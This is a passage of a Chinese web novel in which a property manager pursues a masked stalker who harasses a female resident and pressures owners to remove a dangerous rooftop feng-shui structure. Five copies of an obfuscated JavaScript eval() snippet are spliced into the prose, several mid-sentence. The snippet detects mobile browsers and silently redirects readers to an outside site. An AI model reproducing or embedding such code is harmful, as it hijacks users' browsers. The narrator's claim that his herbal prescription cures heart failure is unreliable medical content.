“林哥，你可真会赶时候，我刚刚平息了盗窃案有了点起色，你就调我走。我走了这里怎么办？”我抱怨。 “我把李壮调过去，那小子让你给培养的特别棒，是块材料，你放心，每天让他和你汇报小区情况，你的功劳谁也抢不走。”林哥一锤定音。 我也实在没其他招数可使了，只好收拾了点东西去林哥那报道。 走时候我还告诉王敬之，等我结束了那边的事，让他陪我去刘才东失踪的小区看看。 王敬之跟我卡吧卡吧眼睛，那意思，一切再议，给我整的一点脾气没有，谁让林皓先截胡了呢，只能先放王敬之走。 到了以后，我见到了女业主，是个很漂亮的女人，我看着她坐在物业办公室里一脸惊恐的表情，没有要离开的意思，不禁被吊起了强烈的好奇心。 “您好，我是吕向荣，这边的领导派我来帮你，看看怎么能解决你遇到的事情，我怎么感觉你这么害怕呢？现在外边这么亮，你在拍什么呢？”我问道。 “我就是很害怕呀，我感觉他无处不在，随时在监视我、要找机会杀我。”她害怕的说。 “你跟我说说，到底发生了什么事？”我给她倒了一杯水。 她双手抱肩，断断续续的讲了起来，时不时的还东张西望，就像一只受惊的小兽。 原来，她叫穆艳红，是个网络达人，经常在网络群里找话题聊天，群里有很多铁粉。 因为她人长得漂亮，所以基本上每天晚上都会有人加她为好友，她都来者不拒。 一周前的一个晚上，夜里十点多了，她的qq头像在闪，她确实也是夜猫子，这个时间正是畅聊的时间，她点开信息一看，有一个叫“夜行者”的人申请加好友。 她不假思索的就点了通过，通过以后，对方发来的第一个消息就是一幅图片，她好奇的仔细看了看，图片里正是她的房间。 令她惊讶的是，正是她现在房间的样子。 她发了一个惊讶的表情过去，对方半天没有回复，她很气愤，以为是在恶作剧，就又发了一句：“很好玩吗？大半夜吓唬人！” 哪知道对面马上就回了：“这就害怕了吗？再给你看一张。” 又发过来一张照片，她看完马上一声惊叫，照片里正是敲字在抱怨对方吓唬人的自己。 “你是谁？你在哪监视我？”她问。 “我是你的影子，我无处不在。”紧跟着还发了一个坏笑的表情。 穆艳红气坏了，干脆下线不聊天了。 可是，正当她准备睡觉休息的时候，手机短信息响了，她打开一看，彻底不敢睡了。 信息写着：“你等着我，我夜里上你家开门陪你睡。”署名是夜行者。 她是个胆小的女人，毕竟是独居，她把房门在里面上了一道保险，又检查了全部的门窗都关上并锁好。 这时候手机又响了，“怎么的？害怕了？” 穆艳红吓坏了，这时候已经是凌晨一点，她不再敢继续回信息，选择蒙头大睡。 第二天太阳照进来的时候，她的恐惧也没有了。 白天头脑清醒了以后，她还是觉得是有人恶作剧，于是也渐渐的放下了这件事。 可是到了晚上十点左右，夜行者的信息又来了，“昨晚上没睡好吧，今天我过去。” 她越发觉得可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158084|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑，心想怎么有这么无聊的人，一定是那些粉丝里的人。 她回：“我们往日无怨近日无仇，你为什么一直在吓唬我呢，有意思吗？” 对方发过来：“多好玩啊，你不就是爱玩恐怖的吗，你看看我这个恐怖不？” 穆艳红的心态被搞得接近崩溃，决定不再理这个人。 可是时间到了夜里11点半，她刚结束了q群的话聊，就听见了一阵紧似一阵的敲门声。 夜里很安静，突然有敲门声给穆艳红吓了一跳，自己朋友很少，基本上都是宅家里，是谁呢？这么晚了有什么事呢？ 她没有想太多就走到门口，刚想开门锁，决定先看看门镜里是谁再说。 这一看不打紧，吓得她直接就瘫坐在地上。 外面站着一个脸上蒙着黑布的人，根本就没有脸。 她不开门，对方就一直敲，她根本就不敢说话，只等着早晨的到来。 天亮以后她就来物业查了监控，也跟物业反应了情况，物业问她为什么当时不报警，她说自己吓坏了，根本就忘记了报警。 她要求物业加强管理，不能让外来人等随意进出，林皓很重视，也确实加强了保卫。 但是，接下来的几天，还是每天都有人来敲门，来人的时间越来越晚，12点、1点、2点 穆艳红已经崩溃了，受不了了。 我听完以后觉得很蹊跷，按说物业已经介入，那这几天为什么物业没看见人，只有穆艳红看到了？ “物业没有人看到过这个人吗？”我问。 “没有，只有我看到过，监控里也没录到这个人敲门的样子，所以他们都不相信我。”穆艳红失望的说。 “你有得罪什么人吗？”我问。 “没有啊，我从上学到现在都是挺内向的，只有在网络上能开朗一点，我基本不出房间，我怎么可能得罪人呢！”穆艳红有些愠怒的说。 “从今天开始，我陪着你，帮你找到这个人。”我的承诺让穆艳红眼前一亮。 第十七章 心衰的大娘 我决定先看一下这几天的监控。 穆艳红家在17楼，正对着门和走廊处的监控一共有两个，消防通道还有一个，我要用24小时的时间将监控全部看完。 我答应了穆艳红今晚要在隐蔽处蹲守，于是在看了十几个小时未果后，我如约出现在18楼同一个位置。 这里刚好能看到和听到楼下的声音，现在是夜里10点半，我给穆艳红发了消息，告诉她不用害怕，我已经到位。 我从10点多等到凌晨四点，眼皮直打架，在走廊里转悠了无数个来回，都没看见任何蒙面人的影子。 凌晨五点，我回了物业办公室，太疲惫了，我倒头就睡，一直到有人给我叫醒。 我一看时间，上午十点了，原来是穆艳红来了。 “穆女士，昨晚没人敲门吧？”我有些疲惫的看着她。 “还真没有，手机也没收到什么信息，我难得睡了个好觉，吕经理，蒙面人怕你啊！”穆艳红并不是很开心，反倒还是很忧郁。 “为什么这么说？而且我感觉你没有觉得好一些，还是很烦恼啊，为什么？”我问。 “因为我一直怀疑他在不远处监视我，现在更加确定了，你来了，他都没有出现，那就说明他知道有人来了，在暗中保护我。所以我还是很害怕，你们保护得了我一时，保护不了一世。” 穆艳红的想法确实客观有道理，这个监视的说法，看种种迹象，也确实极有可能。 该如何找到突破口呢？ “你别担心，至少现在他知道已经有保护力量介入了，你就是安全的。我争取把监控排查完，抓紧时间找到嫌疑人。这两天有任何可疑你都可以找我。”我安慰她。 穆艳红看向我，感激的点点头，那一刻完全是给与了全部的信任，我感到肩上的压力重了。 全部监控影像都看完之后，我处于一种懵又麻木的状态，确实，连一只可疑的猫的影子都没有，更别说人了，我想不明白。 就在我愁眉不展的时候，又出事了。 之前装修不管不顾的那家，擅自改动主体建筑，在顶楼修了一个假山似的景致，有落石从高处掉落下来，砸到了人！ 林哥急的焦头烂额，懊悔的说：“向荣，当初我没听你的，随他们去了，现在不良后果来了，唉！” “林哥，现在叹气不是时候，我们赶紧去看看伤者吧，减小影响范围。”我催着。 林皓急急忙忙的跟我跑去了现场。 伤者是一个老大娘，腿脚不是很利落，今年70了，楼上东西掉落下来的时候，她刚买完菜拖着小车往家走。 也该然大娘命大，一共掉下来好几块碎石，只有一块落在大娘的肩上，好在是肩上，如果是头上，后果不堪设想。 物业第一时间送大娘去了医院，违建的那家在顶楼，我们上去敲门却没有人在。 于是我先赶到了受伤大娘去的医院，到医院的时候，大娘的女儿在陪护，大娘的左肩已经包扎上了，老太太受了惊吓，在睡觉。 我介绍了我的身份和来意，大娘的女儿开始跟我倒苦水。 “我们当初买这个楼，几万块钱一平，物业费也贵的离谱，但我们冲着地理位置和环境也是咬咬牙买了。可是你看你们现在，越来越不干正事儿，他们那叫违建，你们也不管，装修的时候就是天天吵吵吵的，我妈有神经性头疼，天天睡不好觉。现在，又出这么档子事儿，你说你们物业怎么给解决吧！” 我赶紧陪着笑脸，轻声细语的给保证，“业主，你放心，我们一定跟有关部门合作，给顶楼的业主施加压力，让他把违建给拆除喽！大娘的医药费、损失费，理应由他们承担。您别担心，这件事我们物业一定跟到底。现在最要紧的是把大娘的身体治好了。” 老太太的姑娘看我没有推搪、也没有和稀泥，态度有所缓和，这时候大娘醒了。 “哎呦，可给我吓坏啦，从天上唰唰的就下来了，我还以为是有飞碟！”一边说一边捂着胸口说闷。 大娘的姑娘赶紧去找医生，我看看大娘的面色，坐下来给大娘把脉。 “吕经理，您还会这些啊？”大娘颤巍巍的问我。 我示意她先不说话，脉象弦滑结代，舌淡白，颜面暗灰。 我问她：“大娘，最近是不是常觉得心口痛、胸闷、还会气喘上不来气啊？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158085|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大娘点点头，“你怎么知道的这么清楚？” 这时候大娘的女儿和医生进来了，医生看了旁边的监护仪器，说是心率有点问题。 大娘女儿说：“我妈有心衰的毛病，吃了很多西药、救心丸这些，都无济于事，尤其是半夜，无法躺下，更无法安眠。” 医生和她说，这里是外科诊室，肩膀上的外伤没有大碍了，可以挂心内科做具体的检查，让她跟医生去办理手续。 我给大娘的姑娘使眼色，意思告诉她有话说，大娘的姑娘很好奇，想了想告诉医生她拿点东西，一会儿去医生办公室找他。 医生走了以后，我跟她和大娘说：“我刚才给大娘把脉，发现她有心衰的问题，胸阳不振，痰血阻，我给你写个方子，你给大娘抓了熬药喝，一 周后就会有明显效果。” 大娘和她姑娘都将信将疑的看着我，我很无奈，是啊，我一个物业经理，说自己会看病，谁能信服？ “这样，您该看西医看西医，我给你的方子也不收你钱，你愿意试试，就试试，好了更好，不好你也不会有损失。” 我拿出纸和笔写了一个详细的方子递给大娘的姑娘，看看她们没有其它问题，就起身告辞了。 回到物业办公室，林皓正在发飙，看我回去了，又开始唉声叹气。 “怎么了？林哥，看你一副丧丧的样子，出了事就想办法解决呗，这也不是我们物业全责的事情。他们强行建筑，我们能怎么办，我们也没有执法权。”我劝着。 “是啊，道理是这样，但是顶楼那家业主，人在外地呢，电话里很不友好，还说我们物业有问题，砸到人他们没看见，不管！” 呦呵，这是要耍臭无赖啊！“没关系，你消消火，我会会他。”我和林皓说。 “那个大娘怎么样了？有没有大事？”林皓安静下来问我。 “问题不大，明后两天应该就能出院了。但是老太太自身有基础病，心衰，这个比较麻烦，但这事也不是一天两天能治好的，别担心，不是我们的问题。” 林皓仿似吃了定心丸，从手机里把顶楼业主的电话发给了我，让我去会会他。 第十八章 可疑的网拍 顶楼的业主姓金，退休老干部，这个房子是他给儿子买的，主要是他儿子在这住。 我拨打了几次电话，那边都没人接听，连续两天，联系不上人，正愁没办法推进呢，大娘的姑娘来物业办公室了。 “吕经理，你给的药方，我给我妈抓药熬了，今天开始给她喝看看。那个医院的西医太麻烦，还要做什么射频手术，就我妈这年纪，现在又有伤，那经得住这折腾。这两天我不在，您帮忙关注着我妈点，她一个人住，我担心有事没人知道。”大娘姑娘托付我。 “没问题，我每天都去一次，等你回来，一定完好无损的把大娘交接给你。”我幽默的应承。 大娘的姑娘笑眯眯的走了，人与人之间的信任就是从一点一滴开始建立的。 这两天我忙着这个事情，也没有忘记晚上去穆艳红所在的楼层巡逻，很奇怪，自从我介入之后，蒙面人再也没有出现，连信息都没给她发过。 穆艳红和我说，夜行者的qq头像一直是黑色的未上线状态。 “你放心，这几天有几件棘手的事情在手上处理，但是你的事我既然答应了我就不会耽误，我预感他确实是在什么位置监视着我们，你看这两天，他也不出来闹腾了。” “是啊，自从那个违章建筑落石之后，他也消停了。你说，他会不会就住在我们小区啊？”穆艳红问我。 我思考着她的话，确实有可能，但是他为什么要盯着穆艳红呢？ “您最好回忆一下您最近一年来的社交活动，住在我们小区有可能，但是他盯住的对象是你，这个才是关键，找到你跟他的交集，才能找到人。” 穆艳红点点头，“你说的对，我回去好好翻翻我的记事本。” 纠缠下来，一周的时间过了，顶楼的老金和小金还没有回来，大娘的病却在喝汤药后有明显好转，胸闷气憋消除，已经能躺下睡觉，心口也不疼了。 我又给她开了七副，刚好大娘的女儿也回来了，我这关注人的任务也宣告结束。 大娘的女儿听说老妈吃了我的药，心脏有明显好转，喜悦之情溢于言表，“吕经理，看不出来，你还有这本事啊，这么有内秀您当物业经理可惜了。” 我笑着摆摆手，“过奖了、过奖了！不管是冠心病还是心力衰竭，胸阳不振，痰瘀血阻，喝我这个方子的汤药，效果是一剂知，二剂已，胜过活血通瘀法。” “行咧，反正您就住这里，我妈这方子我就上你这拿了。你放心，我付报酬。”大娘的姑娘说完笑哈哈的走了。 林皓很钦佩的看着我，说：“向荣，我看你这本事不拿出来济世救人是不是有点可惜？如果以后有了本钱，咱也开个诊所，也算你把你姥爷传递给你的事业发扬光大了。” 说者有意，听者也有心，这也是我一直以来的一个梦想，但愿吧，能在不久的将来实现。 没过两天，老金和小金回来了，我闻到风声之后，第一时间就登门拜访。 老金的态度还可以，毕竟是离休老干部，小金就不行了，呜呜渣渣的，还要赶我走。 我的情绪一直很平和，看他没有可表演的了，冷静的和他说：“今天你们刚回来，就先休息吧，我就不多打扰了。金老，咱们这个事情影响挺坏的，都上新闻了，网上也有，我们物业也是担心给业主的社会声誉带来负面影响，毕竟您之前也在机关工作。” 老金一听，立刻重视起来，“吕经理，感谢你啊，及时的告诉我。给我点时间，我和我儿子看看怎么回事，如果确实是我们的石头掉下去砸了人，医药费肯定我们付。” 我一听，有门儿，寒暄了几句就告辞走了。 林皓听完我的第一战经过，着急的说：“向荣，他们这是在拖延呢，再不抓紧拆，过几天再有大风，再落石可怎么办？这回伤的是肩膀，下一回如果是人脑袋，咱们可都跟着倒霉啊！” 我一听，这倒是个问题，抓紧拆除那个炸弹确实很紧迫，可是该怎么让他们心甘情愿的拆呢？ “林哥，据我了解，他们当时装修这么个东西，花了几十万，现在你说让拆，他就能拆啊？”我问。 “他不拆不行啊，有法律条文啊，拿给他看呗。”林皓气呼呼的说。 “那你看，他们既然能做这个，这么大鸣大放的，他能不知道有条文？我觉得他们根本就是钻空子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158086|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无所谓。这件事就算是告上法庭，也得等宣判了才能拆，可是就像你说的，大风大雨不等人啊！”我边说边想着办法。 “林哥，老金是离休老干部，这小金是做什么工作的？”我问道。 “小金继承他爸的衣钵了，也是在区里哪个部门，是个什么小领导，具体不清楚。” 听完林皓的话，我心里有个主意形成了雏形。 第二天，还没等我去老金家，小金先来物业办公室找我了。 “吕经理，老太太的医药费我们出了，一共多少钱，你告诉我个数。另外那些舆论啥的，你们能不能以物业的名义发布个公告啥的，给我们辟辟谣。”小金给出了个难题。 “这，林哥，你看他这个事咱们能做吗？”我把包袱推给了林皓。 林皓诧异 的看了看我，然后跟小金说：“业主，这事现在不好办呀，我们就算是辟谣了，那建筑物还在啊，而且已经有过落石现象了，如果再刮风或者下雨，再有落石怎么办？现在这些网民呐，都不好忽悠了，那个建筑物那么显眼，我看网上都给拍的老仔细了。” 小金很不悦的，一句话没说就走了。 林皓的一句话点醒了我，有人给建筑物拍了照片，还很清晰，谁呢？ “林哥，你刚才说那个是什么网站，告诉我，我去看看。” “呶，就这个。”林皓发给我一个链接。 我点开一看，这角度，拍的真清晰啊，而且还是360度无死角。 “林哥，他这个照片拍得怎么像航拍的效果呢？难不成还整出无人机了？而且你看看它这个照片拍的，怎么看着像在顶楼拍的一样，太真实了。”我感慨着。 “是啊，我就说啊，发公告辟谣有什么用，现在的焦点在于这玩意被弄网上了，关注度多高，你看看。影响太坏了！”林皓附和。 “林哥，我看刚才小金不是很高兴啊，气呼呼的就走了。” “他高不高兴能咋的，咱们不得当大家的物业吗，咋的，就光给他自己家服务啊，他还生气了，知趣的就应该赶紧拆。真是不明白现在这些人都在想什么，自我感觉太良好！” 第十九章 违建 小金气呼呼的走了以后，我开始找机会接近老金。 我观察他们建的那个假山、假凉亭、假景致，越来越像某处的一个风景，具体是什么呢？绞尽脑汁，把网上的图片都扒下来一个个的看。 有一个关于建筑设计的帖子吸引了我，跟老金家这些设计如出一辙，帖子上管这样的设计叫“贵穴”，说是可以吸引正能量，促进居住者社会地位和权力的提升。 现在的人太能琢磨了，为了提升自己的运气，什么都能想出来。 我找到了问题的症结，怪不得那个时候我来这里发现小区整体的磁场紊乱，原来真的是有人搞事情。 心里打定主意，我决定会会老金和小金，官迷心窍了，瞎鼓捣。 正值下班后的晚餐时间，我敲开了老金家的门，他们看我赶在饭点儿来了，不是很高兴。 “金老，不好意思啊，我一直在门口等着金铭下班，不巧赶上您们家饭点儿了。”我陪着笑。 金铭阴阳怪气的说话了，“来都来了，还虚头巴脑的说那些干嘛啊，咋的了，说吧，我们家饭早，刚吃完，就不给你盛一碗了。” 老金就要比小的含蓄多了，“吕经理，别客气，进来坐吧，这么急，你肯定有事，进来坐下说。” 我坐在老金和小金对面，还是直接选择开门见山的说问题，性格原因，拐弯抹角浑身难受。 “金老，您这个假景致是参考的建筑设计中的贵穴吧？”我盯着他们的表情。 老金面色缓和了不少，大有一番“小子明白人啊”的趋势；小金则直接嚷开了，“什么贵穴啊，你说什么呢，我怎么听不懂！” “金铭兄弟，我若不是略懂一二也不会直接来问你们的，你说呢？要不，你听我说说这里的门道，如果不对，你可以直接批评指正。”我不放弃。 老金拍拍小金的大腿，“听吕经理说说，莫急。” “风水学上讲的贵穴，一般是将阳宅建造在山的旁边，被认为可以出大官又发财，这种布局象征有靠山，可以辅助居住者获得重要的地位和影响力。除此之外还要有好的采光、带后院、门前有双数的桂花树、周围绕水等。如果可以建于龙脉之上可以家业兴隆、子孙兴旺、世代昌盛。”我停下看看目瞪口呆的小金、不再说话的老金，又接着说， “如果周围可以依山傍水那就是聚财的风水阳宅地形，未来的财运能够畅通无阻。但是现在你们住在城市，都是水泥森林，好在有住顶楼的条件，就按照设计建了这么个景致，希望可以实现财运和贵人运。” 我讲完以后停下来喝水，小金早就坐不住了，直接说：“吕经理，你说的这些有根据吗？你就一个物业经理，也敢在这信口开河？” “金铭兄弟，你们进驻的晚，在你们准备搬进来之前，我猜你们一定是听过了这个小区是风水宝地的说法吧？你们知道这个风水宝地是怎么来的吗？”我问。 “是啊，那怎么了？谁不希望住一个口碑好的小区呀？”金铭说。 “我就是风水宝地的始作俑者。这个小区的地理位置确实很好、宜居，但是没有人总结过。因为发生了一个跳楼案，人心惶惶，为了平息舆论，我才不得以这么说的。” “发现此处风水的人是你啊，吕经理？久仰久仰！”老金直接就伸出手跟我握手。 “不敢当、不敢当，金老，您年龄比我长很多，我这就是班门弄斧。”我谦虚的说。 “哎，可莫谦虚啊，实不相瞒，我们家里确实有研究这方面的亲戚，他对你的事迹赞不绝口啊！”金老的笑容祥和，有打开心扉的势头。 “金老，那您给我解解惑，我上面那番推测是否属实啊？”我问。 老金跟小金使了个眼色，小金识趣的去里间拿出一个红布包。 我好奇的看着小金打开布包，原来是一个黄金罗盘，纯金的色泽，一定价值不菲。 “这是我一个远房表弟的稀罕物件，他自小就喜欢研究国学，也没有人教，把这些旁门左道学的出神入化。”老金把玩着黄金罗盘，轻轻的用手摩挲着，情绪开始低落。 “去年，金铭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158087|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要计划结婚，儿子孝顺，一定要接我一起住，我们选了好多个房子，最后一起拿给我表弟一锤定音，表弟也没到过现场，直接就指认了这个。但是这不是一个新楼盘，没剩几户房子，可选的就是这个还有后面17楼的一户。表弟说可以选这户，利用顶楼的优势设计贵穴，对我们家的家运是有利的。” “您的意思，二叔从没来过这里？”我直接就以尊称称呼金老的表弟，对于有共同爱好之人我有着惺惺相惜的热情。 金老看了看我，对我的尊敬和礼貌相待很受用，“是的，他从来没来过，只是靠电话指导。” 我心里想着，如果是这样的话，还有点难办，他们一定是听这个二叔的话，如果我没说服二叔，这个东西想拆，估计很难。 金老看我面露难色，关注的问我：“吕经理，既然咱们都这么更近一步了，你有话不妨直说，你的目的我心知肚明，只要你能说服我、并且不影响我的家运，我定能答应你的要求。” 小金拽拽老金的衣角，老金没有 理会，手里依然爱惜的摸着那个黄金罗盘。 我想了想说：“金老，这样，我说的话，会有一些术语，恐怕您得原话传达，我也担心您传达的不准确，你看，能不能让我和二叔直接对话？” “这”金老犹豫了。 “很为难吗？我不会打扰太久的，几分钟就可以。”我急急的说。 “不是为难，我表弟最近在闭门学习，恐怕是没有和电话在一起啊！”金老说。 我呆住了，心急如焚，如果再有不好的天气，再有落石砸到人，这个可不等人啊！ “金老，上次落石的事您是知道的，您这单元楼下的大娘，亏得是砸到的肩膀，如果是头顶或者您知道的，如果她们找你们负责，我们物业也没办法，我觉得您也一定不希望有人员伤亡。”我说出自己的担忧。 老金不愧是当过干部的人，几句话就明晰了利弊，当下一锤定音：“吕经理，那就明天吧，明天这个时间你过来，我保证让你跟表弟聊上十分钟。” 第二十章 排查夜行者 可是第二天，我却被穆艳红那个夜行者给拖住了脚步，无法分身。 事情是这样的，就在我去会老金的当晚，我因为推演琢磨贵穴拆除后如何稳固金家的气场，耽误了去17楼，蒙面人直接就抓住空隙去敲门了。 因为这段时间一直很太平，穆艳红放松了警惕，夜里11点多了，还没睡觉，还在qq上冲浪。 听到门口有声响，她一度以为是我来了，走到门边，也没看门镜直接就问：“吕经理吗？这么晚了您还来巡视了。” 边说边开门，结果门开以后，一个浑身黑衣的人站在门口，看不到脸，穆艳红直接就惊叫一声，晕了过去。 我想起要去巡视的时候已经12点多了，紧赶慢赶的跑去穆艳红家，结果就看见了穆艳红家的房门大开，穆艳红躺在地上，有个黑衣人正蹲在她身边摩挲着她。 “你是谁？在干什么？”我大吼一声，在寂静的夜里尤其突兀。 夜行者头也没抬，好像知道是我，哧溜一下从我腋下钻出去，跑向了消防通道。 我追赶到出口，眼看着他越跑越远，心里担心穆艳红的安危，转身回来看穆艳红。 她受了不小的惊吓，怎么唤都没有醒，我给她把了一下脉，脉象显示脉细数、沉滑，脉沉实有力，只是晕厥过去了，没大碍。 我把她放到床上，打开窗户通风，又倒了杯水放在床头，空气流通后，穆艳红幽幽转醒。 “吕经理，夜行者来了，太吓人了，他那双眼睛就那么看着我，就像要杀了我一样。” 穆艳红一边说一边哭，确实是吓坏了。 “他走了，没事，他没对你做什么，我出现的及时。你先喝口水，我们应该报警了，不能再自己查。”我做了决定。 “而且我觉得，他对你有企图，这个目的不达到，他还会出现。我现在不确定他是只对你有企图，还是对女性都有企图，如果是后者，这个人太可怕了，必须控制起来！”我想到了更坏的可能。 报警以后，警察分别对我们做了盘问，还查看了昨晚的监控，简直是奇了大怪了，监控里还是一片空白，根本没有录到夜行者。 如果不是我亲眼所见，甚至于我都不会相信他来过。 所以现在无法判断这个人是外来的还是就在小区内，因为我们物业一直管理的很严，外来人作案的可能性要小，所以我们准备先从小区内开始排查。 警察派了2个人跟我一起排查小区住户，我给金老打了电话，告诉他只能改期。 金老在电话里宽慰我，“不着急、不着急，先抓坏人要紧，我帮你和表弟改时间。” 因为之前物业工作做的严密，小区业主的档案健全，凡是后来进驻的我们也都有记录，警察很快就排查出了可疑对象。 但是可疑对象有三个，都是2个月前先后入住小区的，而且都是租用房屋，不是购买。 林皓看了看排查出来的人说：“这几个人都挺有问题的，我很少见到他们出门，物业费都是房主交，他们什么也不用管，门口保安也很少见到他们出入。” 警察看看我，我说：“我来的晚，这个月刚被调过来支援的，根本没见过这三个人什么样子。” “我最纳闷的是，他怎么做到的，让监控看不到他！”我要把头想破了。 “向荣，别急，咱们一个一个的查，找到人，自然就攻破了这个问题。”林皓劝我。 在我们排查期间，穆艳红搬去了朋友家，她说她再不敢在这住了，等我们抓住了人再回来。 可疑人1号，是个20多岁的小伙子，我带着工程人员假意去他家检查管线，见到了真人。 屋子里杂乱不堪，应该也不收拾，卧室门开着，电脑桌上摆了两个大音响，耳麦，烟气缭绕的，他应该是个资深烟民。 “怎么着？检查完了没？我这游戏挂着呢！”可疑人1号不耐烦的吵吵。 我看看他的身材，然后示意工程人员离开，“可以了，抱歉，打扰了。” 回来以后，我们排除了1号的嫌疑，他神出鬼没是因为他是网络发烧友，基本不出屋。排除他的主要原因是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158088|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身材严重不符。 我见过那个夜行者，身高至少在178以上，这个小伙太瘦弱，可能是常年鼓捣电脑的原因，身材瘦削，扛不住大风吹。 可疑人2号，30多岁的独居男，这个人我平时巡视的时候见过几次，挺有礼貌的，见到邻居和我们物业的人，都点头打招呼，感觉不太像。 但是摸排不能看感觉的，得重证据，去他家的理由依然是检查维修。 “吕经理，您看着这么年轻，就当物业经理了，年轻有为啊！”可疑人2号恭维我。 我不好意思的挠挠头，“您过奖了，我也不小了，马上而立之年了，连个自己的房子还没有呢！” “您这么能干，很快会有的！”他继续和我聊天，我也有一搭没一搭的应付。 聊归聊，我的眼睛四下看着，一眼看到了角落里的无人机纸箱。 我指着纸箱问：“您还会玩这个啊？” 可疑人2号的脸上闪过一丝慌乱，“噢，嘿嘿，瞎琢磨，谈不上会玩。 怎么？吕经理对这个感兴趣？” “也是刚刚感兴趣，这个东西是新奇玩意，可以干很多事，确实不错。”我回答。 “成，那有时间咱俩切磋切磋。”可疑人2号发出邀约，我点点头，心里想着，“搓就搓，谁怕谁。” 我看着他的身材，跟夜行者很近似，这个人要常“联系”了。 出了2号的门，我们又去3号家，这个3号家正好在穆艳红家对面，我站在3号家客厅里的时候，发现正对面竟然就是穆艳红的客厅。 瞬时间觉得3号更可疑，可是没见到3号人，见到的是3号的父亲。 “大爷，您自己住这吗？您独居的话，有什么事需要帮助的，可以到物业找我们啊。”我跟3号的父亲说。 “我跟我儿子住，他去上班了，没在家。好，谢谢你们啊，这园区的物业好，远近闻名的，确实好！”大爷给与我们工作肯定。 我很受用，但是一想到他儿子有可能是罪犯，心里立刻开心不起来了。 第二十一章 金算子 “您儿子做什么工作的啊？”我接着问。 “他啊，他是卖电脑的。工作忙，没个休息日。”大爷一点没怀疑，直接告诉我。 卖电脑？有点意思，那些监控的小配件啥的，应该也是涉猎的，看来3号的嫌疑更大。 回来以后，我跟林皓汇报了排查情况，2个警察也跟着开了个碰头会，我们一致决定要监控2号和3号。 可是警察人手不够，我和林皓都得上，我想了想说：“林哥，我先监控2号，我总觉得他那个无人机有事情，3号你先监督有没有特殊异常，有事我们再商量。”林皓点头答应。 现在想想，那段时间还真要感谢冥冥中的造物主，给了我们一大段的好天气，没有大风也没有大雨，不然，我们还真的要应接不暇了。 那天我特意去2号所在的单元巡视，我掌握他的出入规律，这个时间他应该要下楼倒垃圾。 果不其然的，我回返的时候碰到了下来倒垃圾的2号。 “巧了，您这是下来遛弯儿？”我先打招呼。 “哎呦，吕经理啊，不是遛弯儿，下来把垃圾倒掉。您这，巡视呢？”2号回我。 “对，随便溜达溜达，看看有没有谁家需要帮助啥的。” “吕经理，咱实话实说啊，我之前在b市也住过几个小区了，还真就数咱们小区的物业负责任，真正起到了物业的作用。在这住着，还挺安心的。不能因为个别人的觉悟差抹煞咱们物业的工作效果。”2号由衷的肯定。 我一听最后一句，有戏啊，这是。 “个别人的觉悟？您的意思是？”我赶紧追问。 “哦哦，我就顺嘴一说，您别当回事。”2号说完就要转身上楼。 我一看机不可失，赶紧冲口而出，“xx网站上的帖子是您发的吧？那些假山假景拍的太好了！” 2号停住脚，转头看看我，笑了，笑的坦荡不做作，然后说：“我就知道逃不过吕经理的法眼。但是这件事情，以吕经理的一己之力恐怕解决不了。” 我一看，还是个敞亮人，索性就开门见山好了。 “您那个帖子在某种意义上说，确实是帮了我们的忙，至少到目前为止也是起促进作用的。我只是希望，您的动机一直是跟初衷一样的就好。”我目光炯炯的看着他。 “哦？那不利的作用是什么？我愿闻其详。”2号问我。 